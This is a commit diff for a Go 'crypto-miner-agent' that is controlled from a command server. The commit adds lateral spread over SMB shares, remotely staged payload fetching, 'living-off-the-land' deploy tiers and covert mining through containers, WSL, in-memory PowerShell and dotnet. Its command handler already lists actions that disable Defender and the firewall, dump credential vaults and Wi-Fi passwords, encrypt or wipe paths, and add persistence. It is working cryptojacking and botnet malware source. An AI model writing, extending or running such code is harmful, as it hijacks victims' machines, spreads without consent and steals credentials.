Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
@@ -16,10 +16,14 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
if !c.cfg.HolePunch {
|
||||
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
|
||||
}
|
||||
case "spread_now":
|
||||
case "spread_now", "spread_smb_unc", "discover_and_join":
|
||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||
}
|
||||
case "stage_fetch":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
|
||||
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
@@ -27,8 +31,8 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
}
|
||||
case "tunnel_status", "tunnel_wireguard":
|
||||
// Always available — read-only or Path Tracer config from server.
|
||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
|
||||
// No forge gate — always available.
|
||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover":
|
||||
// No forge gate — enumeration-only recon (Path Tracer + fleet discover).
|
||||
case "mesh_status":
|
||||
if !c.cfg.MeshP2P {
|
||||
return false, "mesh P2P not enabled in forge"
|
||||
@@ -90,6 +94,38 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "spread_smb_unc":
|
||||
unc := strings.TrimSpace(path)
|
||||
svcName := ""
|
||||
if unc == "" {
|
||||
unc = strings.TrimSpace(data)
|
||||
} else {
|
||||
svcName = strings.TrimSpace(data)
|
||||
}
|
||||
msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{
|
||||
UNCPath: unc,
|
||||
MaxHosts: parsePortArg(command, 64),
|
||||
SvcName: svcName,
|
||||
})
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "stage_fetch":
|
||||
var manifest deploy.StagingManifest
|
||||
if err := json.Unmarshal([]byte(data), &manifest); err != nil {
|
||||
c.sendCommandResult(action, false, "bad staging manifest: "+err.Error())
|
||||
return true
|
||||
}
|
||||
go func() {
|
||||
msg, err := deploy.RunStagingChain(c.cfg, manifest)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
}()
|
||||
return true
|
||||
|
||||
case "subnet_scan":
|
||||
maxHosts := parsePortArg(command, 64)
|
||||
out := deploy.ScanLocalSubnet(maxHosts)
|
||||
@@ -328,6 +364,24 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
case "wg_status":
|
||||
c.sendCommandResult(action, true, WGStatus())
|
||||
return true
|
||||
|
||||
case "service_discover":
|
||||
maxHosts := parsePortArg(command, 32)
|
||||
out := deploy.RunServiceDiscover(maxHosts)
|
||||
c.sendCommandResult(action, true, out)
|
||||
return true
|
||||
|
||||
case "discover_and_join":
|
||||
maxHosts := parsePortArg(command, 32)
|
||||
go func() {
|
||||
msg, err := c.runDiscoverAndJoin(maxHosts)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
}()
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
@@ -23,6 +24,7 @@ import (
|
||||
"crypto-miner-agent/job"
|
||||
"crypto-miner-agent/miner"
|
||||
"crypto-miner-agent/stats"
|
||||
"crypto-miner-agent/vulnprobe"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
@@ -46,6 +48,26 @@ type AgentClient struct {
|
||||
// The Stratum fallback manager monitors this to decide when to mine directly.
|
||||
connected atomic.Bool
|
||||
|
||||
// containerMiner supervises OCI-isolated CPU mining (container / docker_load tiers).
|
||||
containerMiner *miner.ContainerLauncher
|
||||
// wslMiner supervises CPU mining inside WSL2 via wsl.exe -e.
|
||||
wslMiner *miner.WSLLauncher
|
||||
// psMiner hosts in-memory assembly / encoded-command mining via powershell.exe.
|
||||
psMiner *miner.PowerShellLauncher
|
||||
// dotnetMiner compiles and runs a LOTL Stratum stub via dotnet/msbuild.
|
||||
dotnetMiner *miner.DotnetLauncher
|
||||
// hostMiningDisabled is true when a healthy container handles RandomX on the host.
|
||||
hostMiningDisabled atomic.Bool
|
||||
// miningChain orchestrates container → in-process → GPU → Stratum cascade.
|
||||
miningChain *MiningChainRunner
|
||||
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
|
||||
tierPolicy miner.MiningTierPolicy
|
||||
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||
triplePolicy miner.TripleOnionPolicy
|
||||
triplePolicyLoaded bool
|
||||
// joinLane is the last successful discover_and_join supply-chain lane.
|
||||
joinLane string
|
||||
|
||||
// lastJobAt records when the most recent valid mining job was delivered.
|
||||
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||
// situations and start direct Stratum mining after a timeout.
|
||||
@@ -55,6 +77,9 @@ type AgentClient struct {
|
||||
// successful WS authentication confirms we are on an owned fleet.
|
||||
spreadOnce sync.Once
|
||||
|
||||
// commandResultHook is set in tests to observe sendCommandResult without a live WS.
|
||||
commandResultHook func(action string, success bool, message string)
|
||||
|
||||
// beaconMode is true while commands/results use HTTPS beacon transport.
|
||||
beaconMode atomic.Bool
|
||||
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
|
||||
@@ -69,6 +94,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
agentID: cfg.AgentID,
|
||||
}
|
||||
c.mesh = NewMeshNode(c)
|
||||
c.initSpreadCredHooks()
|
||||
return c
|
||||
}
|
||||
|
||||
@@ -87,14 +113,15 @@ func (c *AgentClient) Run() error {
|
||||
c.pool.Start()
|
||||
defer c.pool.Stop()
|
||||
|
||||
// Start GPU miner (Ravencoin / KawPoW) if configured
|
||||
if gm := newGPUMiner(c.cfg); gm != nil {
|
||||
c.mu.Lock()
|
||||
c.gpuMiner = gm
|
||||
c.mu.Unlock()
|
||||
gm.Start()
|
||||
defer gm.Stop()
|
||||
chainCtx, chainCancel := context.WithCancel(context.Background())
|
||||
defer chainCancel()
|
||||
c.miningChain = c.newMiningChainRunner()
|
||||
if deploy.WantsDeferMining() {
|
||||
go c.startMiningWhenReady(chainCtx)
|
||||
} else {
|
||||
c.miningChain.Start(chainCtx)
|
||||
}
|
||||
defer c.miningChain.Stop()
|
||||
|
||||
// Start AI Autonomy runner if enabled
|
||||
if c.cfg.AIEnabled {
|
||||
@@ -324,9 +351,12 @@ func (c *AgentClient) authenticate() error {
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
MacAddress: primaryMACAddress(),
|
||||
BuildID: c.cfg.BuildID,
|
||||
USBSpread: c.cfg.USBSpread,
|
||||
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
|
||||
USBSpread: c.cfg.USBSpread,
|
||||
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
|
||||
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
|
||||
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
|
||||
JoinLane: c.getJoinLane(),
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
@@ -350,7 +380,15 @@ func (c *AgentClient) authenticate() error {
|
||||
if !resp.Success {
|
||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||
}
|
||||
c.applyAuthLotlPolicy(resp)
|
||||
c.agentID = resp.AgentID
|
||||
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
|
||||
c.mu.Lock()
|
||||
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers)
|
||||
}
|
||||
c.clearWSDownSince()
|
||||
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
|
||||
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
||||
@@ -360,16 +398,21 @@ func (c *AgentClient) authenticate() error {
|
||||
|
||||
// Gate AutoSpread behind successful server auth: only spread on fleets where
|
||||
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
|
||||
if c.cfg.AutoSpread {
|
||||
c.spreadOnce.Do(func() {
|
||||
deploy.StartAutoSpreader(c.cfg)
|
||||
// One-shot first-run spread (triggered on the very first install).
|
||||
if deploy.WantsFirstRunSpread(c.cfg) {
|
||||
deploy.RunSpreadOnce(c.cfg)
|
||||
deploy.ClearFirstRunSpreadMarker(c.cfg)
|
||||
c.spreadOnce.Do(func() {
|
||||
c.mu.Lock()
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
if cfg.AutoSpread {
|
||||
deploy.StartAutoSpreader(cfg)
|
||||
if deploy.WantsFirstRunSpread(cfg) {
|
||||
deploy.RunSpreadOnce(cfg)
|
||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
if cfg.LotlOnionEnabled {
|
||||
deploy.StartLotlOnion(cfg)
|
||||
}
|
||||
})
|
||||
|
||||
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||
return nil
|
||||
@@ -465,24 +508,62 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, "module "+module+" applied")
|
||||
case "start_mining":
|
||||
// WSL sidecar: toggle systemd user unit when that tier is active (see wsl_launcher.go).
|
||||
if c.wslMiner != nil && c.wslMiner.Running() {
|
||||
wslRT := miner.WSLDetector()
|
||||
_ = miner.ToggleWSLMining(wslRT, "", true)
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Resume(context.Background())
|
||||
} else {
|
||||
c.pool.ResumeRemote()
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining started")
|
||||
case "pause":
|
||||
c.pool.PauseRemote()
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Pause()
|
||||
if c.wslMiner != nil && c.wslMiner.Running() {
|
||||
wslRT := miner.WSLDetector()
|
||||
_ = miner.ToggleWSLMining(wslRT, "", false)
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Stop()
|
||||
} else {
|
||||
c.pool.PauseRemote()
|
||||
if c.containerMiner != nil && c.containerMiner.Running() {
|
||||
c.containerMiner.Stop()
|
||||
}
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Pause()
|
||||
}
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining paused")
|
||||
case "resume":
|
||||
c.pool.ResumeRemote()
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Resume()
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Resume(context.Background())
|
||||
} else {
|
||||
if c.containerMiner != nil && !c.containerMiner.Running() {
|
||||
if err := c.containerMiner.Start(); err != nil {
|
||||
log.Printf("[container] resume restart failed: %v — using in-process mining", err)
|
||||
c.hostMiningDisabled.Store(false)
|
||||
c.pool.ResumeRemote()
|
||||
} else {
|
||||
c.hostMiningDisabled.Store(true)
|
||||
c.pool.PauseRemote()
|
||||
}
|
||||
} else if !c.hostMiningDisabled.Load() {
|
||||
c.pool.ResumeRemote()
|
||||
}
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Resume()
|
||||
}
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining resumed")
|
||||
c.sendCommandResult(action, true, "fleet health: hashing restored")
|
||||
case "restart":
|
||||
c.sendCommandResult(action, true, "restarting")
|
||||
go c.restartSelf()
|
||||
@@ -515,6 +596,8 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
c.sendCommandResult(action, true, "system shutdown initiated")
|
||||
}
|
||||
}()
|
||||
case "mining_diagnostics":
|
||||
c.sendCommandResult(action, true, c.miningDiagnosticsJSON())
|
||||
case "get_log":
|
||||
if tailLines <= 0 {
|
||||
tailLines = 300
|
||||
@@ -640,6 +723,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
}
|
||||
|
||||
func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
|
||||
if c.commandResultHook != nil {
|
||||
c.commandResultHook(action, success, message)
|
||||
return
|
||||
}
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"action": action,
|
||||
"success": success,
|
||||
@@ -649,7 +736,11 @@ func (c *AgentClient) sendCommandResult(action string, success bool, message str
|
||||
c.postBeaconResult(payload)
|
||||
return
|
||||
}
|
||||
_ = c.write(Message{Type: "command_result", Payload: payload})
|
||||
// If the WebSocket write fails (stalled connection, reconnecting, etc.) fall
|
||||
// back to the beacon HTTP path so the result is not silently dropped.
|
||||
if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
|
||||
c.postBeaconResult(payload)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) wsDownSinceTime() time.Time {
|
||||
@@ -837,6 +928,16 @@ func probeSSH() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *AgentClient) stratumEgress(stratumOverlay bool) string {
|
||||
if stratumOverlay {
|
||||
return "direct"
|
||||
}
|
||||
if c.connected.Load() {
|
||||
return "c2_ws"
|
||||
}
|
||||
return "none"
|
||||
}
|
||||
|
||||
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
ticker := time.NewTicker(10 * time.Second)
|
||||
defer ticker.Stop()
|
||||
@@ -848,6 +949,8 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
var lastPressure *ResourcePressure
|
||||
var lastDNS *DNSConfig
|
||||
var lastListenPortCount *int
|
||||
var lastNetworkHints *deploy.NetworkHints
|
||||
var lastVulnReport *vulnprobe.ScanReport
|
||||
var postureReady bool
|
||||
for {
|
||||
select {
|
||||
@@ -904,6 +1007,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
n := lp.Count
|
||||
lastListenPortCount = &n
|
||||
}
|
||||
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
|
||||
lastNetworkHints = &hints
|
||||
lastVulnReport = RunVulnLOTLProbe()
|
||||
}
|
||||
probeTick++
|
||||
|
||||
@@ -923,6 +1029,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.DNSSearchDomains = lastDNS.SearchDomains
|
||||
}
|
||||
stats.ListenPortCount = lastListenPortCount
|
||||
stats.NetworkHints = lastNetworkHints
|
||||
if lastPressure != nil {
|
||||
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
|
||||
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
|
||||
@@ -968,6 +1075,69 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.AgentElevated = lastPosture.AgentElevated
|
||||
stats.Services = lastPosture.Services
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
ms := c.miningChain.Status()
|
||||
stats.ActiveMethod = string(ms.ActiveMethod)
|
||||
stats.StratumOverlay = ms.StratumOverlay
|
||||
stats.ChainExhausted = ms.ChainExhausted
|
||||
stats.MiningLastError = ms.LastError
|
||||
if ms.LOTLTier != "" {
|
||||
stats.LOTLTier = string(ms.LOTLTier)
|
||||
}
|
||||
if len(ms.LOTLAttempts) > 0 {
|
||||
stats.LOTLAttempts = make([]TierAttemptPayload, len(ms.LOTLAttempts))
|
||||
for i, a := range ms.LOTLAttempts {
|
||||
stats.LOTLAttempts[i] = TierAttemptPayload{
|
||||
Phase: a.Phase,
|
||||
Tier: string(a.Tier),
|
||||
OK: a.OK,
|
||||
Error: a.Error,
|
||||
DurationMs: a.DurationMs,
|
||||
Wallet: a.Wallet,
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(ms.FailedMethods) > 0 {
|
||||
stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods))
|
||||
for i, f := range ms.FailedMethods {
|
||||
stats.FailedMethods[i] = MethodFailurePayload{
|
||||
Method: string(f.Method),
|
||||
Reason: f.Reason,
|
||||
At: f.At,
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(ms.ChainOrder) > 0 {
|
||||
stats.ChainOrder = make([]string, len(ms.ChainOrder))
|
||||
for i, m := range ms.ChainOrder {
|
||||
stats.ChainOrder[i] = string(m)
|
||||
}
|
||||
}
|
||||
stats.StratumEgress = c.stratumEgress(ms.StratumOverlay)
|
||||
} else {
|
||||
stats.StratumEgress = c.stratumEgress(false)
|
||||
}
|
||||
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
||||
if lastVulnReport != nil {
|
||||
score := lastVulnReport.RiskScore
|
||||
stats.VulnRiskScore = &score
|
||||
if len(lastVulnReport.Findings) > 0 {
|
||||
stats.VulnFindings = make([]VulnFindingPayload, len(lastVulnReport.Findings))
|
||||
for i, f := range lastVulnReport.Findings {
|
||||
stats.VulnFindings[i] = VulnFindingPayload{
|
||||
CVEID: f.CVEID,
|
||||
Severity: f.Severity,
|
||||
Component: f.Component,
|
||||
Patched: f.Patched,
|
||||
ExploitableInFleetContext: f.ExploitableInFleetContext,
|
||||
Detail: f.Detail,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if lane := c.getJoinLane(); lane != "" {
|
||||
stats.JoinLane = lane
|
||||
}
|
||||
payload, _ := json.Marshal(stats)
|
||||
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
||||
log.Printf("[agent] stats send failed: %v", err)
|
||||
@@ -982,7 +1152,13 @@ func (c *AgentClient) write(msg Message) error {
|
||||
if c.conn == nil {
|
||||
return fmt.Errorf("not connected")
|
||||
}
|
||||
return c.conn.WriteJSON(msg)
|
||||
// BA-03: set a bounded write deadline so a stalled TCP socket cannot block
|
||||
// WriteJSON indefinitely while holding c.mu, which would deadlock every
|
||||
// other goroutine that needs c.mu (share submission, stats, commands).
|
||||
_ = c.conn.SetWriteDeadline(time.Now().Add(15 * time.Second))
|
||||
err := c.conn.WriteJSON(msg)
|
||||
_ = c.conn.SetWriteDeadline(time.Time{}) // clear deadline after write
|
||||
return err
|
||||
}
|
||||
|
||||
// needsStratumFallback returns true when either:
|
||||
@@ -1016,6 +1192,10 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
if c.cfg.PoolHost == "" {
|
||||
return // no pool configured
|
||||
}
|
||||
if c.cfg.StratumOverWS {
|
||||
log.Printf("[stratum] StratumOverWS enabled — direct pool egress disabled; telemetry via C2 WebSocket")
|
||||
return
|
||||
}
|
||||
|
||||
type fallback struct {
|
||||
stop chan struct{}
|
||||
@@ -1047,6 +1227,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
sc.RunFallback(stop)
|
||||
}()
|
||||
fb = &fallback{stop: stop, wait: wait}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.SetStratumActive(true)
|
||||
}
|
||||
if c.connected.Load() {
|
||||
log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
} else {
|
||||
@@ -1060,6 +1243,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
<-fb.wait
|
||||
fb = nil
|
||||
c.pool.SetShareHandler(c.submitShare)
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.SetStratumActive(false)
|
||||
}
|
||||
log.Printf("[stratum] fallback stopped — %s", reason)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -93,8 +93,10 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
|
||||
pauseCh: make(chan struct{}),
|
||||
resumeCh: make(chan struct{}),
|
||||
}
|
||||
// Start with resumeCh closed so the run loop is not blocked.
|
||||
close(g.resumeCh)
|
||||
// pauseCh starts open; waitIfPaused hits the default branch and returns
|
||||
// true immediately, so no pre-close of resumeCh is needed (and
|
||||
// pre-closing it would break the first Pause() — the inner select would
|
||||
// fire on the already-closed channel instead of blocking).
|
||||
return g
|
||||
}
|
||||
|
||||
@@ -436,7 +438,8 @@ func (g *GPUMiner) ensureMinerBinary() (string, error) {
|
||||
}
|
||||
|
||||
func downloadAndExtract(url, destDir, targetFile string) error {
|
||||
resp, err := http.Get(url) //nolint:noctx
|
||||
client := &http.Client{Timeout: 5 * time.Minute}
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -444,7 +447,7 @@ func downloadAndExtract(url, destDir, targetFile string) error {
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
|
||||
}
|
||||
data, err := io.ReadAll(resp.Body)
|
||||
data, err := io.ReadAll(io.LimitReader(resp.Body, 512<<20))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -12,6 +12,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ThreadPercent: 75,
|
||||
CPUPriority: "below_normal",
|
||||
MiningMode: "always",
|
||||
MinerExecution: "inprocess",
|
||||
DisplayMode: "visible",
|
||||
SilentMode: false,
|
||||
RunAs: "user",
|
||||
@@ -53,5 +54,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RVNPoolPort: 6060,
|
||||
RVNPoolTLS: false,
|
||||
RVNPoolPass: "x",
|
||||
LotlOnionEnabled: false,
|
||||
LotlPolicyFromServer: false,
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user